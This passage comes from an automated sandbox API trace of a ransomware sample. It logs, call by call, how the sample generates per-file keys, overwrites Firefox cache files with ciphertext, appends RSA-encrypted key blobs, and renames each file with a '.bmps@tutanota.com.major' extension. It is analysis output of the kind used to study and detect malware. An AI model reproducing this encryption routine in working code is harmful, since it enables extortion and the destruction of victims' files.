hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0289.077] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0289.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0289.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0289.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4GfoWh+iB5TnEoEpgq9bhSUmBjbLSnK5siKGWvBRFBATrmTrR9ThuitaORyVu3+Y\nUgqQeiwp25FdM+n/poxcK/e+pDpLT6rJK8oWyALk5wMwk1rep+QvQdJfyRQ56x/y\nw1DMu3FkKBjXZW0IVwiPYDOBvet5BAjNV2UcSvonv/Skb1uLVxjX1b46Ng+6c2qV\n037ulNe/P8vAGix5YH7S2+pDgQJdjb/7M5i33DH57j2sPTB5hM/kqZM5ZCygQ1aU\niOi5GQ7MjZYPKtOjt22D7TRwsJ7J3LPbYvx4ALFqHqYYjFmBDzq01eOTkV38bazh\n4t9Zm8UVzyTXiBL56J8QLw==\n", pcchString=0x2e3f9a8) returned 1 [0289.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0289.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.078] CloseHandle (hObject=0x1b84) returned 1 [0289.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0289.078] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0289.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0289.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0289.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2870 | out: hHeap=0x570000) returned 1 [0289.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2c90 | out: hHeap=0x570000) returned 1 [0289.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2450 [0289.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0289.080] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0289.080] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", dwFileAttributes=0x80) returned 1 [0289.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee39f8 [0289.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0289.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39f8 | out: hHeap=0x570000) returned 1 [0289.080] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0289.081] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=88289) returned 1 [0289.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x158e1) returned 0x3540048 [0289.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x158e1) returned 0x3555938 [0289.081] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0x158e1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x158e1, lpOverlapped=0x0) returned 1 [0289.614] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-88289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.614] WriteFile (in: hFile=0x1b84, lpBuffer=0x3555938*, nNumberOfBytesToWrite=0x158e1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3555938*, lpNumberOfBytesWritten=0x2e3f9b4*=0x158e1, lpOverlapped=0x0) returned 1 [0289.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0289.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3555938 | out: hHeap=0x570000) returned 1 [0289.614] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x158e1 [0289.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.614] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.615] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0289.615] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0289.615] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0289.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0289.615] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="L8lIsCqNn7lyyJH6Kvq+h1oABOea5H+zm0H4z8ks7SyCW6eLA7872t7U0ZxoZbc4\nWV2RIYwkncwZGsxQUUvxQGe+U3L+nlWO5ivlzcqpzG2AMYsxtLJZBvcYMirlOXMB\n/rTVqG2WEr824wKlDuWwJcYHG3wXgFIGSAIGekug2tUF5rn6Lx2Ry/mfgtXDNj41\nE61W+WQcyuagpClu/iFYKFfYhUrU/MntjO2KsfP1jjSPUcuY5qD+xGEUIt8XcQO7\n8fAgXNWeVzrG9zB/XYZokmJKyXHZMPxfhzpGDcQMW2zV7Kzw4R2/27oMGeGsPcbY\nfIrCz78Vnzu1SDFZo4V6lA==\n", pcchString=0x2e3f9a8) returned 1 [0289.615] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0289.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.615] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.615] CloseHandle (hObject=0x1b84) returned 1 [0289.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0289.615] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0289.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0289.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0289.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2450 | out: hHeap=0x570000) returned 1 [0289.617] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2ea0 | out: hHeap=0x570000) returned 1 [0289.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee33c8 [0289.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0289.618] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0289.618] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", dwFileAttributes=0x80) returned 1 [0289.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee32c0 [0289.618] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0289.618] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee32c0 | out: hHeap=0x570000) returned 1 [0289.618] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0289.619] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4455) returned 1 [0289.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1167) returned 0x2f81868 [0289.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1167) returned 0x2f39028 [0289.619] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1167, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1167, lpOverlapped=0x0) returned 1 [0289.823] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.823] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1167, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1167, lpOverlapped=0x0) returned 1 [0289.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0289.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0289.824] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1167 [0289.824] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.824] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.824] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0289.824] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0289.824] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0289.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0289.824] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mj0zPrm1QT6cpN6BvDA9cMpZJ+jsmcBlP7YD+OdSozUuXuoTtK8wIeHzITNbmjan\nx1i+R9bnT7m1ESBa0/WKHAOb4cvnP1IhosCZY5Le7dP4Z6KiBl99U1hHfUaiUtbN\ntNYlwtwqKugxq6rtm8mbaEg/EAg3ZfD/U8dnUyp8jeL89QY0qySxbu9l9r8+eniH\ncAwstlXVs6QjxPMScK7FSB7jKJEbfki05rr9CwhSqXI4MXdCVzOJvZVrRWjYMik4\ns/iBa21qMOusFLYdPt5x+GbVy0wQalr/Xs35OMBLKpFX6T4FAboaFCBuZ2eLqrjN\nwiZB5dvtzMXyFtGFvajSsQ==\n", pcchString=0x2e3f9a8) returned 1 [0289.824] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0289.824] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.824] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.824] CloseHandle (hObject=0x1b84) returned 1 [0289.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0289.825] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0291.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0291.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0291.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee33c8 | out: hHeap=0x570000) returned 1 [0291.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3b00 | out: hHeap=0x570000) returned 1 [0291.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2870 [0291.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0291.958] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0291.958] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5", dwFileAttributes=0x80) returned 1 [0291.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee32c0 [0291.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0291.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee32c0 | out: hHeap=0x570000) returned 1 [0291.958] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0291.959] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1863) returned 1 [0291.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x747) returned 0x2f3e850 [0291.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x747) returned 0x313e810 [0291.959] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e850, nNumberOfBytesToRead=0x747, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesRead=0x2e3f9b4*=0x747, lpOverlapped=0x0) returned 1 [0292.021] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0292.021] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x747, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x747, lpOverlapped=0x0) returned 1 [0292.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0292.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e810 | out: hHeap=0x570000) returned 1 [0292.021] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x747 [0292.021] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0292.021] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0292.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0292.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0292.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0292.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0292.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Bf+TEPZeEQQ1nFWKz1HbrcSJ+OZpjVYFzqTpymjI1D+jq3JNmRFkt/gkhn6v5HDj\neqI6g3TzW/HZklrzb+3r5/gY9ApN5vTOGKZ0FCTdGL4F1x04T46PyMggRADVUrvc\nP+euJ/sVFxNNOr32nz+e73Kh/0uaHVlaRafGr2znQNJyZO9K8sWniRI3Etgu64Ih\nvzxB2364JL39nPAtHOIrgi491KVOR4EoDJZ0eiSOy4NvapDEHhIi0lJPOeLaNMWQ\nOWncwcUGHbnRwWcopkkH/hVZK85x3s0H/YylDZM6wYe5LZpw6+QfOly9EczSNpnY\nrRuOYudy4nzvBDxEP5jqXw==\n", pcchString=0x2e3f9a8) returned 1 [0292.022] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0292.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0292.022] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0292.022] CloseHandle (hObject=0x1b84) returned 1 [0292.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0292.022] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A774848D5BE9E32A6789642784FD4DAFCD580F5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a774848d5be9e32a6789642784fd4dafcd580f5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0292.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0292.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0292.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2870 | out: hHeap=0x570000) returned 1 [0292.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee35d8 | out: hHeap=0x570000) returned 1 [0292.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2fa8 [0292.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0292.024] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0292.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3", dwFileAttributes=0x80) returned 1 [0292.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2870 [0292.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0292.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2870 | out: hHeap=0x570000) returned 1 [0292.025] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0292.025] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7523) returned 1 [0292.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d63) returned 0x2f81868 [0292.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d63) returned 0x2f39028 [0292.025] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1d63, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d63, lpOverlapped=0x0) returned 1 [0295.053] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.054] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1d63, lpNumberOfBytesWritten=0x2e3f9b4, 